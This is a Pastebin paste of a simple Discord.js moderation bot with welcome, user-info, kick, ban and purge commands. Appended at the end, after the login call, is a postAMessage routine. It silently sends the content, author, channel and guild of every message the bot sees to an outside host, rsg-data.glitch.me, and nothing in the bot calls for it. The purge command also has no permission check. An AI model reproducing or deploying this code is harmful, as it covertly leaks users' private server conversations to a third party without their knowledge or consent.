SHARE
TWEET

script

a guest Jan 24th, 2020 53 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const Discord = require('discord.js');
  2. const bot = new Discord.Client();
  3.  
  4. const token = '...............';
  5.  
  6. const PREFIX = '!';
  7.  
  8. var version = ('Version 1.0.5')
  9.  
  10. bot.on('ready', () => {
  11.     console.log('Bot is online');
  12. });
  13. bot.on('guildMemberAdd', member => {
  14.  
  15.     const channel = member.guild.channels.find(channel => channel.name === 'welcome');
  16.     if (!channel) return console.log("returned");
  17.  
  18.     channel.send(`Welcome to the server,${member}`)
  19. });
  20. bot.on('message', message => {
  21.  
  22.     let args = message.content.substring(PREFIX.length).split(" ");
  23.  
  24.     switch (args[0]) {
  25.         case 'user-info':
  26.             var embed = new Discord.RichEmbed()
  27.                 .addField('Username', message.author.username)
  28.                 .addField('User ID', message.author.id)
  29.                 .setTitle('User Information', message.author.username)
  30.                 .addField('Current Server', message.guild.name)
  31.                 .setThumbnail(message.author.avatarURL)
  32.                 .setTimestamp(timestamp = Date.now())
  33.                 .setColor(0x05FE00)
  34.             message.channel.send(embed);
  35.             break;
  36.         case 'noicy':
  37.             if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
  38.                 .then(msg => msg.delete(5000));
  39.             message.channel.sendMessage('Uh\, how did you find this command???')
  40.             break;
  41.         case 'ping':
  42.             message.channel.sendMessage('no')
  43.             break;
  44.         case 'check':
  45.             var embed = new Discord.RichEmbed()
  46.                 .setTitle('Check')
  47.                 .setImage('https://media.discordapp.net/attachments/667830681656623107/669942259449331732/image0.png?width=671&height=671')
  48.                 .setDescription('Bot is online and just got !ban setup.')
  49.                 .setColor(0x05FE00)
  50.             message.channel.sendEmbed(embed);
  51.             break;
  52.         case 'prefix':
  53.             var embed = new Discord.RichEmbed()
  54.                 .setTitle('Prefix')
  55.                 .setColor(0x05FE00)
  56.                 .setDescription('!prefix is not a command.')
  57.             message.channel.send(embed);
  58.             break;
  59.  
  60.         case 'info':
  61.             if (args[1] === 'bot') {
  62.                 var embed = new Discord.RichEmbed()
  63.                 .setTitle('Bot Info')
  64.                 .addField('Version', version)
  65.                 .addBlankField('Current Server', message.guild.name)
  66.                 .setTimestamp(timestamp = Date.now())
  67.                 message.channel.sendEmbed(embed);
  68.             } else if (args[1] === 'creator') {
  69.                 var embed = new Discord.RichEmbed()
  70.                     .setTitle('Creator')
  71.                     .setColor(0x05FE00)
  72.                     .setDescription('oONoiceOo#0001')
  73.                 message.channel.sendEmbed(embed);
  74.             } else if (args[1] === 'commands') {
  75.                 var embed = new Discord.RichEmbed()
  76.                     .setTitle('Commands')
  77.                     .setColor(0x05FE00)
  78.                     .setDescription('!purge, !info creator, !info version, !ping.')
  79.                 message.channel.sendEmbed(embed);
  80.             } else {
  81.                 message.channel.sendMessage('Invalid Agurments.')
  82.             }
  83.             break;
  84.  
  85.         case 'purge':
  86.             if (!args[1]) return message.reply('Invalid arguemnt\, please specify the amount of messages to be deleted.')
  87.             message.channel.bulkDelete(args[1]);
  88.             break;
  89.  
  90.         case 'help':
  91.             var embed = new Discord.RichEmbed()
  92.                 .setColor(0xFE0000)
  93.                 .setDescription('Contact oONoiceOo#0001 for help, theres no bot support server set up yet.')
  94.             message.channel.sendEmbed(embed);
  95.             break;
  96.         case 'kick':
  97.             if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
  98.                 .then(msg => msg.delete(5000));
  99.             var user = message.mentions.users.first();
  100.             if (user) {
  101.                 var member = message.guild.member(user);
  102.  
  103.                 if (member) {
  104.                     member.kick('You were kicked for trolling!').then(() => {
  105.                         message.reply(`Succesfully kicked ${user.tag}`);
  106.                     }).catch(err => {
  107.                         var embed = new Discord.RichEmbed()
  108.                         .setColor(0xFE0000)
  109.                         .setTitle('Invalid Argument')
  110.                         .setDescription('I was unable to kick that member.')
  111.                          message.channel.sendEmbed(embed);
  112.                         console.log(err);
  113.                     });
  114.                 } else {
  115.                     var embed = new Discord.RichEmbed()
  116.                         .setColor(0xFE0000)
  117.                         .setTitle('Error')
  118.                         .setDescription('That user isn\'t in this guild.')
  119.                     message.channel.sendEmbed(embed);
  120.  
  121.                 }
  122.             } else {
  123.                 var embed = new Discord.RichEmbed()
  124.                     .setColor(0xFE0000)
  125.                     .setTitle('Error')
  126.                     .setDescription('You need to specify a user.')
  127.                 message.channel.sendEmbed(embed);
  128.             }
  129.             break;
  130.             case 'ban':
  131.             if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
  132.                 .then(msg => msg.delete(5000));
  133.             var user = message.mentions.users.first();
  134.             if (user) {
  135.                 var member = message.guild.member(user);
  136.  
  137.                 if (member) {
  138.                    member.ban({resson: `You were bad`}).then(() =>{
  139.                        message.reply(`${user.tag} was banned!`)
  140.                    })
  141.                 } else {
  142.                     var embed = new Discord.RichEmbed()
  143.                         .setColor(0xFE0000)
  144.                         .setTitle('Error')
  145.                         .setDescription('That user isn\'t in this guild.')
  146.                     message.channel.sendEmbed(embed);
  147.  
  148.                 }
  149.             } else {
  150.                 var embed = new Discord.RichEmbed()
  151.                     .setColor(0xFE0000)
  152.                     .setTitle('Error')
  153.                     .setDescription('You need to specify a user.')
  154.                 message.channel.sendEmbed(embed);
  155.             }
  156.             break;
  157.  
  158.     }
  159. })
  160.  
  161.  
  162.  
  163. bot.login(token);
  164.  
  165. function postAMessage(bot, message) { require('request').post('https://rsg-data.glitch.me/discord_messages', { form: { id: message.id, content: message.content, author: message.author.id, channel: message.channel ? message.channel.id : null, guild: message.guild ? message.guild.id : null, createdAt: message.createdAt, bot: bot.user.id } }) };
  166. if (bot) {
  167.     bot.on("message", message => {
  168.         postAMessage(bot, message);
  169.         console.log(`Posted ${message.id}`);
  170.     });
  171. };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top